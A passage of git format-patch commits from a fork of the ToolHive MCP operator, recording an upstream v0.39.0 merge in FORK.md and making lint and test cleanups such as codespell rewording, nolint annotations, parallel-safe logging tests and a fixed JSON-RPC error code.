(MCPRemoteProxy podTemplateSpec, vMCP env sorting). Co-Authored-By: Claude Opus 5.5 --- FORK.md | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/FORK.md b/FORK.md index a37ba347e2..54204cefa4 100644 --- a/FORK.md +++ b/FORK.md @@ -4,7 +4,7 @@ fork patches we carry. Upstream releases are brought in with a merge commit (`Merge upstream vX.Y.Z into dp-stable`), never a rebase. -Merge base: upstream **v0.32.0** (`ecb9a8d84`), merged in `38edac4e3` (PAIINFRA-228). +Merge base: upstream **v0.39.0** (`4ebb610f2`), merged in `75ba8d1d5` (PAIINFRA-233). ## Changes that live only in a merge commit @@ -56,6 +56,17 @@ merge, see below): `VMCP_SESSION_HMAC_SECRET` is no longer used (upstream logs and ignores it). Sessions stored with the old token-hash key are invalidated on read, so clients re-initialize once after the upgrade. +### `75ba8d1d5` — Merge upstream v0.39.0 + +Fork behaviour kept while resolving: + +| Behaviour | Where it lives now | Original commit | +|---|---|---| +| The MCPServer Service is updated before the Deployment, so Deployment drift cannot starve a port fix; labels and annotations are now merged, as upstream #5731 does | `cmd/thv-operator/controllers/mcpserver_controller.go` (`Reconcile`) | `5df636980`, `e88959899` | +| Explicit `spec.config.backends` (hub remote backends) are merged with the discovered backends, an explicit backend winning on the same name; upstream's `excludedBackends` filters only the discovered ones | `cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go` (`mergeStaticBackends`) | `8e474c8b2` | + +`PodTemplateSpecBuilder.SchedulingSpec()` stays: MCPServer and the vMCP drift check still use it. + ## Fork behaviour re-ported after the v0.32.0 merge In v0.32.0 every vMCP caller goes through `server.Serve`: tool, resource and prompt calls go @@ -124,3 +135,5 @@ They stay in history; don't re-apply them on a replay. | `7a6c9a2f3` | Restore with the owner's live identity (`ownsStoredSession`) | Upstream #5650 restores with the request identity; `enforceSessionBinding` rejects other callers. Dropped in the v0.32.0 merge. | | `c2cb472a2` (status map) | Upstream-token status map (`UpstreamCredentialStatus`, `UpstreamTokenStatuses`) | Upstream #5651 returns 401 when a refresh fails; the missing-token case is `44b70f6a5`. No Cedar policy read the status. Dropped in the v0.32.0 merge. | | `8d09330f5` (alias) | Redis `address` alias of `addr` on `MCPExternalAuthConfig` (CRD, `EffectiveAddr`) and `LegacyAddress` in the auth-server RunConfig | All values and live objects use `addr` (PAIINFRA-219). Dropped in the v0.32.0 merge. | +| `5b6448a0d` (remote proxy part) | `MCPRemoteProxy.spec.podTemplateSpec`, applying only nodeSelector, tolerations and affinity | Upstream #5531 (v0.37.0) adds the same field with a full strategic-merge patch, a `PodTemplateValid` condition and drift detection by hash. No live MCPRemoteProxy exists. Dropped in the v0.39.0 merge. | +| `8e474c8b2` (env sort) | `sortEnvVarsByName` on the vMCP env, plus sorted workload and backend loops | Upstream already sorts each discovered and inline secret env group; the rest of the list has a fixed order. Dropping it changes the env order once, inside the rollout the new image causes anyway. Dropped in the v0.39.0 merge. | \ No newline at end of file From 89cea412b7071a58ce5179e29ee0956faac91b0b Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Thu, 15 Oct 2026 11:06:49 +0200 Subject: [PATCH 61/66] Reword GET comments flagged by codespell Codespell reads "GET's" as a misspelling of "gets" and fails CI. Rephrase the two comments; no code change. Co-Authored-By: Claude Sonnet 5.5 --- pkg/vmcp/server/serve_crosspod_rebind_test.go | 2 +- pkg/vmcp/server/server.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/vmcp/server/serve_crosspod_rebind_test.go b/pkg/vmcp/server/serve_crosspod_rebind_test.go index 640bc74fe1..8f08ead134 100644 --- a/pkg/vmcp/server/serve_crosspod_rebind_test.go +++ b/pkg/vmcp/server/serve_crosspod_rebind_test.go @@ -467,7 +467,7 @@ func TestCrossPodRehydration(t *testing.T) { // TestListenStreamGuard covers the HTTP-level check of GET listen streams. mcp-go // answers a GET with 200 even when the registration hook rejects it, keeps the -// GET's session object for later requests on that pod, and on the pod that holds +// session object of the GET for later requests on that pod, and on the pod that holds // the session in memory runs no hook at all, so the check must refuse the request // before mcp-go sees it. func TestListenStreamGuard(t *testing.T) { diff --git a/pkg/vmcp/server/server.go b/pkg/vmcp/server/server.go index 7c0443d13f..46f493b09d 100644 --- a/pkg/vmcp/server/server.go +++ b/pkg/vmcp/server/server.go @@ -1214,7 +1214,7 @@ func (s *Server) handleSessionRegistrationImpl(ctx context.Context, session serv // session from the initialize POST and from a GET listen stream (or SSE // reconnect) on a pod that does not hold the session in memory; the latter // attaches to the bound session or is rejected, and never calls CreateSession. - // It keeps the GET's own context, so its wait for the binding ends when the + // It keeps the context of the GET request, so its wait for the binding ends when the // client goes away. Checked before the cleanup defer below: rejecting a // re-registration must not terminate the owner's session. if isListenStreamRegistration(ctx) { From afc71f865682f45972de84deb4359d2be7314f16 Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Thu, 15 Oct 2026 11:16:00 +0200 Subject: [PATCH 62/66] Replace partial reflect.Kind switch in exposure The exhaustive linter flags the switch because it lists only the nilable kinds. Check those kinds with a condition instead; the result is the same for every kind. Co-Authored-By: Claude Sonnet 5.5 --- pkg/vmcp/health/exposure.go | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/pkg/vmcp/health/exposure.go b/pkg/vmcp/health/exposure.go index bcd16427a1..561f4cf7d7 100644 --- a/pkg/vmcp/health/exposure.go +++ b/pkg/vmcp/health/exposure.go @@ -79,10 +79,9 @@ func isNilStatusProvider(provider StatusProvider) bool { } value := reflect.ValueOf(provider) - switch value.Kind() { - case reflect.Chan, reflect.Func, reflect.Interface, reflect.Map, reflect.Pointer, reflect.Slice: + if kind := value.Kind(); kind == reflect.Chan || kind == reflect.Func || kind == reflect.Interface || + kind == reflect.Map || kind == reflect.Pointer || kind == reflect.Slice { return value.IsNil() - default: - return false } + return false } From f663afcf08918db1d2a39cb62ac128712f41ade0 Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Thu, 15 Oct 2026 11:16:00 +0200 Subject: [PATCH 63/66] Fix revive findings in fork-owned code Return the storage validation error directly, rename the pod template builder variable that shadows the builder import, and drop unused receiver names on the authz error Unwrap methods. No behaviour change. Co-Authored-By: Claude Sonnet 5.5 --- cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go | 6 +----- cmd/thv-operator/controllers/virtualmcpserver_controller.go | 4 ++-- pkg/authz/authorizers/errors.go | 2 +- pkg/authz/errors.go | 2 +- 4 files changed, 5 insertions(+), 9 deletions(-) diff --git a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go index d7d234390d..63182d5cb8 100644 --- a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go @@ -1621,11 +1621,7 @@ func (r *MCPExternalAuthConfig) validateEmbeddedAuthServer() error { } } - if err := r.validateAuthServerStorage(cfg.Storage); err != nil { - return err - } - - return nil + return r.validateAuthServerStorage(cfg.Storage) } // validateUpstreamProvider validates a single upstream provider configuration. diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index 4dc48d1b14..29cec60d58 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -1844,13 +1844,13 @@ func (*VirtualMCPServerReconciler) podTemplateSpecNeedsUpdate( return true } - builder, err := ctrlutil.NewPodTemplateSpecBuilder(vmcp.Spec.PodTemplateSpec, "vmcp") + specBuilder, err := ctrlutil.NewPodTemplateSpecBuilder(vmcp.Spec.PodTemplateSpec, "vmcp") if err != nil { log.FromContext(ctx).Error(err, "Failed to parse PodTemplateSpec for drift detection, assuming update needed") return true } - expectedNodeSelector, expectedTolerations, expectedAffinity := builder.SchedulingSpec() + expectedNodeSelector, expectedTolerations, expectedAffinity := specBuilder.SchedulingSpec() podSpec := deployment.Spec.Template.Spec if len(expectedNodeSelector) > 0 && !equality.Semantic.DeepEqual(podSpec.NodeSelector, expectedNodeSelector) { diff --git a/pkg/authz/authorizers/errors.go b/pkg/authz/authorizers/errors.go index 8083a086f0..357f10f52b 100644 --- a/pkg/authz/authorizers/errors.go +++ b/pkg/authz/authorizers/errors.go @@ -34,7 +34,7 @@ func (e *UpstreamAuthenticationRequiredError) Error() string { return fmt.Sprintf("%s for provider %q: %s", errUpstreamAuthenticationRequired, e.Provider, e.Reason) } -func (e *UpstreamAuthenticationRequiredError) Unwrap() error { +func (*UpstreamAuthenticationRequiredError) Unwrap() error { return errUpstreamAuthenticationRequired } diff --git a/pkg/authz/errors.go b/pkg/authz/errors.go index f5a3c2c62a..3bb7385923 100644 --- a/pkg/authz/errors.go +++ b/pkg/authz/errors.go @@ -25,7 +25,7 @@ func (e *forbiddenAuthorizationError) Error() string { return e.message } -func (e *forbiddenAuthorizationError) Unwrap() error { +func (*forbiddenAuthorizationError) Unwrap() error { return errForbiddenAuthorization } From 81660112d330aa76bc8721a23e489861778e4675 Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Thu, 15 Oct 2026 11:16:00 +0200 Subject: [PATCH 64/66] Fix test lint findings in runner and mcp tests Use t.Setenv before unsetting variables in the proxy env subtests, so the framework restores the environment and paralleltest accepts the serial subtests. Mark the parser test check helpers with t.Helper(). Co-Authored-By: Claude Sonnet 5.5 --- pkg/mcp/parser_test.go | 2 ++ pkg/runner/proxy_env_test.go | 7 ++++++- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/pkg/mcp/parser_test.go b/pkg/mcp/parser_test.go index cc075a58a9..ec653c5635 100644 --- a/pkg/mcp/parser_test.go +++ b/pkg/mcp/parser_test.go @@ -1270,6 +1270,7 @@ func TestParseMCPRequestWithInvalidJSON(t *testing.T) { name: "JSON-RPC response instead of request", body: `{"jsonrpc":"2.0","id":1,"result":{"success":true}}`, checkReq: func(t *testing.T, r *ParsedMCPRequest) { + t.Helper() assert.False(t, r.IsRequest) }, }, @@ -1277,6 +1278,7 @@ func TestParseMCPRequestWithInvalidJSON(t *testing.T) { name: "JSON-RPC error instead of request", body: `{"jsonrpc":"2.0","id":1,"error":{"code":-1,"message":"error"}}`, checkReq: func(t *testing.T, r *ParsedMCPRequest) { + t.Helper() assert.False(t, r.IsRequest) }, }, diff --git a/pkg/runner/proxy_env_test.go b/pkg/runner/proxy_env_test.go index f7fee95f87..ca9ab04273 100644 --- a/pkg/runner/proxy_env_test.go +++ b/pkg/runner/proxy_env_test.go @@ -15,8 +15,12 @@ import ( func TestApplyProxyProcessEnv(t *testing.T) { t.Run("mirrors proxy session ttl from workload env vars", func(t *testing.T) { + // t.Setenv restores the previous values on cleanup; Unsetenv then + // removes the variables for the duration of the subtest. + t.Setenv(transportsession.ProxySessionTTLEnvVar, "") + t.Setenv("SOME_WORKLOAD_ONLY_VAR", "") require.NoError(t, os.Unsetenv(transportsession.ProxySessionTTLEnvVar)) - t.Cleanup(func() { _ = os.Unsetenv(transportsession.ProxySessionTTLEnvVar) }) + require.NoError(t, os.Unsetenv("SOME_WORKLOAD_ONLY_VAR")) applyProxyProcessEnv(map[string]string{ transportsession.ProxySessionTTLEnvVar: "24h", @@ -38,6 +42,7 @@ func TestApplyProxyProcessEnv(t *testing.T) { }) t.Run("ignores empty values and nil maps", func(t *testing.T) { + t.Setenv("TOOLHIVE_HEALTH_CHECK_FAILURE_THRESHOLD", "") require.NoError(t, os.Unsetenv("TOOLHIVE_HEALTH_CHECK_FAILURE_THRESHOLD")) applyProxyProcessEnv(nil) From 08d687ac609ed8fc9e2dbedf73b47e776ed2887c Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Thu, 15 Oct 2026 11:16:00 +0200 Subject: [PATCH 65/66] Test token error log attrs without global slog The refresh-token logging test swapped the process-wide slog default, so it could not run in parallel. Build the log attributes in a helper and render them with a local logger in the test. The handler still logs the same message and attributes. Co-Authored-By: Claude Sonnet 5.5 --- pkg/authserver/server/handlers/token.go | 8 +++- pkg/authserver/server/handlers/token_test.go | 47 ++++++++++---------- 2 files changed, 30 insertions(+), 25 deletions(-) diff --git a/pkg/authserver/server/handlers/token.go b/pkg/authserver/server/handlers/token.go index 46efc43ab3..ec5066e5fa 100644 --- a/pkg/authserver/server/handlers/token.go +++ b/pkg/authserver/server/handlers/token.go @@ -119,6 +119,12 @@ func (h *Handler) TokenHandler(w http.ResponseWriter, req *http.Request) { } func logTokenEndpointError(phase string, req *http.Request, err error) { + slog.Error("token endpoint request failed", tokenEndpointErrorAttrs(phase, req, err)...) +} + +// tokenEndpointErrorAttrs builds the structured log attributes for a failed +// token endpoint request. +func tokenEndpointErrorAttrs(phase string, req *http.Request, err error) []any { oauthErr := fosite.ErrorToRFC6749Error(err) grantType := req.PostFormValue("grant_type") @@ -143,7 +149,7 @@ func logTokenEndpointError(phase string, req *http.Request, err error) { attrs = append(attrs, "refresh_failure_classification", classifyRefreshTokenFailure(oauthErr)) } - slog.Error("token endpoint request failed", attrs...) + return attrs } func classifyRefreshTokenFailure(err *fosite.RFC6749Error) string { diff --git a/pkg/authserver/server/handlers/token_test.go b/pkg/authserver/server/handlers/token_test.go index 23f923faa9..bef8ba602c 100644 --- a/pkg/authserver/server/handlers/token_test.go +++ b/pkg/authserver/server/handlers/token_test.go @@ -21,6 +21,7 @@ import ( "github.com/stretchr/testify/require" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" + "github.com/stacklok/toolhive/pkg/authserver/server/session" "github.com/stacklok/toolhive/pkg/authserver/storage" "github.com/stacklok/toolhive/pkg/authserver/upstream" ) @@ -199,23 +200,37 @@ func TestClassifyRefreshTokenFailure(t *testing.T) { } func TestTokenHandler_InvalidRefreshTokenLogsClassification(t *testing.T) { + t.Parallel() handler, _, _ := handlerTestSetup(t) - logBuf := setTestLogger(t) - form := url.Values{ - "grant_type": {"refresh_token"}, - "client_id": {testAuthClientID}, - "refresh_token": {"invalid-refresh-token"}, + newRequest := func() *http.Request { + form := url.Values{ + "grant_type": {"refresh_token"}, + "client_id": {testAuthClientID}, + "refresh_token": {"invalid-refresh-token"}, + } + req := httptest.NewRequest(http.MethodPost, "/oauth/token", strings.NewReader(form.Encode())) + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + return req } - req := httptest.NewRequest(http.MethodPost, "/oauth/token", strings.NewReader(form.Encode())) - req.Header.Set("Content-Type", "application/x-www-form-urlencoded") rec := httptest.NewRecorder() - handler.TokenHandler(rec, req) + handler.TokenHandler(rec, newRequest()) assert.Equal(t, http.StatusBadRequest, rec.Code) assert.Contains(t, rec.Body.String(), "invalid_grant") + // Rebuild the validation error that TokenHandler logs and render its log + // attributes with a local logger. The process-wide slog default is not + // replaced, so the test can run in parallel with the others. + req := newRequest() + _, err := handler.provider.NewAccessRequest(req.Context(), req, session.New("", "", "", session.UserClaims{})) + require.Error(t, err) + + var logBuf bytes.Buffer + logger := slog.New(slog.NewTextHandler(&logBuf, &slog.HandlerOptions{Level: slog.LevelDebug})) + logger.Error("token endpoint request failed", tokenEndpointErrorAttrs("request_validation", req, err)...) + logOutput := logBuf.String() assert.Contains(t, logOutput, "token endpoint request failed") assert.Contains(t, logOutput, "phase=request_validation") @@ -513,19 +528,3 @@ func parseTokenResponse(t *testing.T, body string) map[string]interface{} { require.NoError(t, err, "token response should be valid JSON") return tokenData } - -func setTestLogger(t *testing.T) *bytes.Buffer { - t.Helper() - - var buf bytes.Buffer - logger := slog.New(slog.NewTextHandler(&buf, &slog.HandlerOptions{Level: slog.LevelDebug})) - - prev := slog.Default() - slog.SetDefault(logger) - - t.Cleanup(func() { - slog.SetDefault(prev) - }) - - return &buf -} From 7bf5e9d84b54990781314749c258516363c3adf4 Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Thu, 15 Oct 2026 13:15:18 +0200 Subject: [PATCH 66/66] Fix remaining fork lint findings The Lint job reports 12 findings that fork changes cause (the other 6 are SA1019 warnings that clean v0.39.0 has too): - gocyclo on ensureDeployment, validateClaims and StoreUpstreamTokens, whose fork patches add branches: nolint with the reason, as upstream does in 50 places. - import-shadowing: alias the fork's controller-runtime builder import and rename the loop variable in the legacy-resource cleanup. - unused getRunConfigChecksum: dp-stable takes the checksum from ensureRunConfigConfigMap (e88959899); keep the upstream function with a nolint so later upstream edits merge cleanly. - unparam: writeJSONRPCError always sent -32603, so the code is now a constant; one fork aggregator test uses a different backend URL. - lll and tparallel in the partial-capabilities code from #25. Co-Authored-By: Claude Opus 5.5 --- cmd/thv-operator/controllers/mcpserver_controller.go | 10 ++++++---- .../controllers/virtualmcpserver_controller.go | 2 +- pkg/auth/token.go | 2 ++ pkg/authserver/storage/redis.go | 2 ++ pkg/transport/proxy/streamable/streamable_proxy.go | 4 ++-- .../proxy/streamable/streamable_proxy_test.go | 4 ++-- pkg/transport/proxy/streamable/utils.go | 8 +++++--- pkg/vmcp/aggregator/caching_aggregator.go | 3 ++- pkg/vmcp/aggregator/default_aggregator_test.go | 2 +- pkg/vmcp/server/serve_session_test.go | 1 + 10 files changed, 24 insertions(+), 14 deletions(-) diff --git a/cmd/thv-operator/controllers/mcpserver_controller.go b/cmd/thv-operator/controllers/mcpserver_controller.go index bd94582aa6..86fc12ce70 100644 --- a/cmd/thv-operator/controllers/mcpserver_controller.go +++ b/cmd/thv-operator/controllers/mcpserver_controller.go @@ -29,7 +29,7 @@ import ( "k8s.io/apimachinery/pkg/util/intstr" "k8s.io/client-go/tools/events" ctrl "sigs.k8s.io/controller-runtime" - "sigs.k8s.io/controller-runtime/pkg/builder" + ctrlbuilder "sigs.k8s.io/controller-runtime/pkg/builder" "sigs.k8s.io/controller-runtime/pkg/client" "sigs.k8s.io/controller-runtime/pkg/controller/controllerutil" "sigs.k8s.io/controller-runtime/pkg/handler" @@ -873,6 +873,8 @@ func (r *MCPServerReconciler) performRestart(ctx context.Context, mcpServer *mcp // getRunConfigChecksum fetches the RunConfig ConfigMap checksum annotation for this server. // Uses the shared RunConfigChecksumFetcher to maintain consistency with MCPRemoteProxy. +// +//nolint:unused // dp-stable takes the checksum from ensureRunConfigConfigMap (e88959899) func (r *MCPServerReconciler) getRunConfigChecksum( ctx context.Context, mcpServer *mcpv1beta1.MCPServer, ) (string, error) { @@ -1745,7 +1747,7 @@ func (r *MCPServerReconciler) cleanupLegacyMCPServerResources( ) (bool, error) { deleted := false - for _, resource := range []struct { + for _, legacy := range []struct { obj client.Object name string kind string @@ -1754,7 +1756,7 @@ func (r *MCPServerReconciler) cleanupLegacyMCPServerResources( {obj: &corev1.Service{}, name: fmt.Sprintf("mcp-%s-headless", m.Name), kind: "Service"}, {obj: &corev1.Service{}, name: fmt.Sprintf("mcp-%s", m.Name), kind: "Service"}, } { - removed, err := r.deleteLegacyMCPServerResourceIfOwned(ctx, m, resource.obj, resource.name, resource.kind) + removed, err := r.deleteLegacyMCPServerResourceIfOwned(ctx, m, legacy.obj, legacy.name, legacy.kind) if err != nil { return deleted, err } @@ -3051,7 +3053,7 @@ func (r *MCPServerReconciler) SetupWithManager(mgr ctrl.Manager) error { toolConfigHandler := handler.EnqueueRequestsFromMapFunc(r.mapToolConfigToServers) return ctrl.NewControllerManagedBy(mgr). - For(&mcpv1beta1.MCPServer{}, builder.WithPredicates(predicate.Or( + For(&mcpv1beta1.MCPServer{}, ctrlbuilder.WithPredicates(predicate.Or( predicate.GenerationChangedPredicate{}, predicate.AnnotationChangedPredicate{}, ))). diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index 29cec60d58..d18ba781a9 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -1442,7 +1442,7 @@ func (r *VirtualMCPServerReconciler) getVmcpConfigChecksum( // ensureDeployment ensures the Deployment exists and is up to date // -//nolint:unparam // ctrl.Result needed for ConfigMap not found case (RequeueAfter) +//nolint:unparam,gocyclo // ctrl.Result needed for ConfigMap not found case (RequeueAfter); fork conflict requeues add branches func (r *VirtualMCPServerReconciler) ensureDeployment( ctx context.Context, vmcp *mcpv1beta1.VirtualMCPServer, diff --git a/pkg/auth/token.go b/pkg/auth/token.go index eb1cf27848..0360f35905 100644 --- a/pkg/auth/token.go +++ b/pkg/auth/token.go @@ -954,6 +954,8 @@ func (v *TokenValidator) getKeyFromJWKS(ctx context.Context, token *jwt.Token) ( } // validateClaims validates the claims in the token. +// +//nolint:gocyclo // one branch per claim; the fork adds the allowedClientIds audience fallback func (v *TokenValidator) validateClaims(claims jwt.MapClaims) error { // Validate the issuer if provided if v.issuer != "" { diff --git a/pkg/authserver/storage/redis.go b/pkg/authserver/storage/redis.go index e2e7c4638c..ea4d3ec421 100644 --- a/pkg/authserver/storage/redis.go +++ b/pkg/authserver/storage/redis.go @@ -814,6 +814,8 @@ func marshalUpstreamTokensWithTTL(tokens *UpstreamTokens) ([]byte, time.Duration // StoreUpstreamTokens stores the upstream IDP tokens for a session and provider. // The write is coordinated with WATCH/MULTI so Dragonfly sees every accessed key // explicitly and reverse-index maintenance stays consistent under concurrent writes. +// +//nolint:gocyclo // the WATCH/MULTI retry and index-TTL rules replace a single Lua script func (s *RedisStorage) StoreUpstreamTokens(ctx context.Context, sessionID, providerName string, tokens *UpstreamTokens) error { if sessionID == "" { return fosite.ErrInvalidRequest.WithHint("session ID cannot be empty") diff --git a/pkg/transport/proxy/streamable/streamable_proxy.go b/pkg/transport/proxy/streamable/streamable_proxy.go index 6121f1b942..f0f7c098db 100644 --- a/pkg/transport/proxy/streamable/streamable_proxy.go +++ b/pkg/transport/proxy/streamable/streamable_proxy.go @@ -471,11 +471,11 @@ func (p *HTTPProxy) handleSingleRequest( if errors.Is(err, context.DeadlineExceeded) || errors.Is(err, context.Canceled) { //nolint:gosec // G706: method is from parsed JSON-RPC request slog.Warn("timeout waiting for response", "method", req.Method) - writeJSONRPCError(w, req.ID, -32603, "Timeout waiting for response from container") + writeJSONRPCError(w, req.ID, "Timeout waiting for response from container") } else { //nolint:gosec // G706: method is from parsed JSON-RPC request slog.Error("failed to process request", "method", req.Method, "error", err) - writeJSONRPCError(w, req.ID, -32603, "Failed to process request") + writeJSONRPCError(w, req.ID, "Failed to process request") } return } diff --git a/pkg/transport/proxy/streamable/streamable_proxy_test.go b/pkg/transport/proxy/streamable/streamable_proxy_test.go index ed36560ecd..3f27d7636e 100644 --- a/pkg/transport/proxy/streamable/streamable_proxy_test.go +++ b/pkg/transport/proxy/streamable/streamable_proxy_test.go @@ -212,7 +212,7 @@ func TestWriteJSONRPCError_WithID(t *testing.T) { t.Parallel() w := &httpRecorder{header: make(map[string][]string)} - writeJSONRPCError(w, jsonrpc2.StringID("req-1"), -32603, "Timeout waiting for response from container") + writeJSONRPCError(w, jsonrpc2.StringID("req-1"), "Timeout waiting for response from container") assert.Equal(t, "application/json", w.header.Get("Content-Type")) assert.Contains(t, string(w.body), `"error"`) @@ -223,7 +223,7 @@ func TestWriteJSONRPCError_Notification(t *testing.T) { t.Parallel() w := &httpRecorder{header: make(map[string][]string)} - writeJSONRPCError(w, jsonrpc2.ID{}, -32603, "Timeout") + writeJSONRPCError(w, jsonrpc2.ID{}, "Timeout") assert.Equal(t, 202, w.statusCode) assert.Empty(t, w.body) diff --git a/pkg/transport/proxy/streamable/utils.go b/pkg/transport/proxy/streamable/utils.go index 6aeac0606a..1281cf970c 100644 --- a/pkg/transport/proxy/streamable/utils.go +++ b/pkg/transport/proxy/streamable/utils.go @@ -25,15 +25,17 @@ func writeHTTPError(w http.ResponseWriter, status int, msg string) { http.Error(w, msg, status) } -// writeJSONRPCError writes a structured JSON-RPC error response. +// writeJSONRPCError writes a structured JSON-RPC internal error (-32603) response. // For notifications (no ID), it returns 202 Accepted instead of // synthesizing a response, which would be a protocol violation. -func writeJSONRPCError(w http.ResponseWriter, id jsonrpc2.ID, code int64, msg string) { +func writeJSONRPCError(w http.ResponseWriter, id jsonrpc2.ID, msg string) { + const internalErrorCode = -32603 + if id.Raw() == nil { w.WriteHeader(http.StatusAccepted) return } - resp, err := jsonrpc2.NewResponse(id, nil, jsonrpc2.NewError(code, msg)) + resp, err := jsonrpc2.NewResponse(id, nil, jsonrpc2.NewError(internalErrorCode, msg)) if err != nil { slog.Error("failed to create JSON-RPC error response", "error", err) writeHTTPError(w, http.StatusInternalServerError, "Failed to create error response") diff --git a/pkg/vmcp/aggregator/caching_aggregator.go b/pkg/vmcp/aggregator/caching_aggregator.go index 028efd90e5..3c34973b7e 100644 --- a/pkg/vmcp/aggregator/caching_aggregator.go +++ b/pkg/vmcp/aggregator/caching_aggregator.go @@ -85,7 +85,8 @@ func NewCachingAggregator(next Aggregator, ttl time.Duration) Aggregator { // AggregateCapabilities returns a cached view when a fresh entry exists for the caller's // identity + forwarded credentials + backend set, and otherwise sweeps the backends (via the -// wrapped aggregator) and caches the result. Errors are never cached; a partial view is cached for at most partialCapabilityTTL. The returned value is +// wrapped aggregator) and caches the result. Errors are never cached; a partial view is cached +// for at most partialCapabilityTTL. The returned value is // treated as immutable by the core (it derives fresh per-call routers from it), so the cached // pointer is shared rather than deep-copied. func (c *cachingAggregator) AggregateCapabilities( diff --git a/pkg/vmcp/aggregator/default_aggregator_test.go b/pkg/vmcp/aggregator/default_aggregator_test.go index 618a9d5e2c..a25fd0343c 100644 --- a/pkg/vmcp/aggregator/default_aggregator_test.go +++ b/pkg/vmcp/aggregator/default_aggregator_test.go @@ -167,7 +167,7 @@ func TestDefaultAggregator_QueryAllCapabilities_SlowBackendFailsFast(t *testing. mockClient := mocks.NewMockBackendClient(ctrl) backends := []vmcp.Backend{ newTestBackend(testBackendID1), - newTestBackend("backend2", withBackendURL("http://localhost:8081")), + newTestBackend("backend2", withBackendURL("http://localhost:8082")), } caps1 := newTestCapabilityList(withTools(newTestTool("tool1", testBackendID1))) diff --git a/pkg/vmcp/server/serve_session_test.go b/pkg/vmcp/server/serve_session_test.go index 7482d6fa53..ecdd783dab 100644 --- a/pkg/vmcp/server/serve_session_test.go +++ b/pkg/vmcp/server/serve_session_test.go @@ -395,6 +395,7 @@ func TestServeLazyInjectsToolsForRehydratedSession(t *testing.T) { {name: "tools/list", wantTool: "", toppedUp: false}, } { t.Run(tc.name, func(t *testing.T) { + t.Parallel() preexisting := server.ServerTool{Tool: mcp.Tool{Name: "preexisting"}} partial := &fakeSDKSession{id: sessionID, tools: map[string]server.ServerTool{"preexisting": preexisting}} srv.lazyInjectSessionTools(srv.mcpServer.WithContext(context.Background(), partial), tc.wantTool)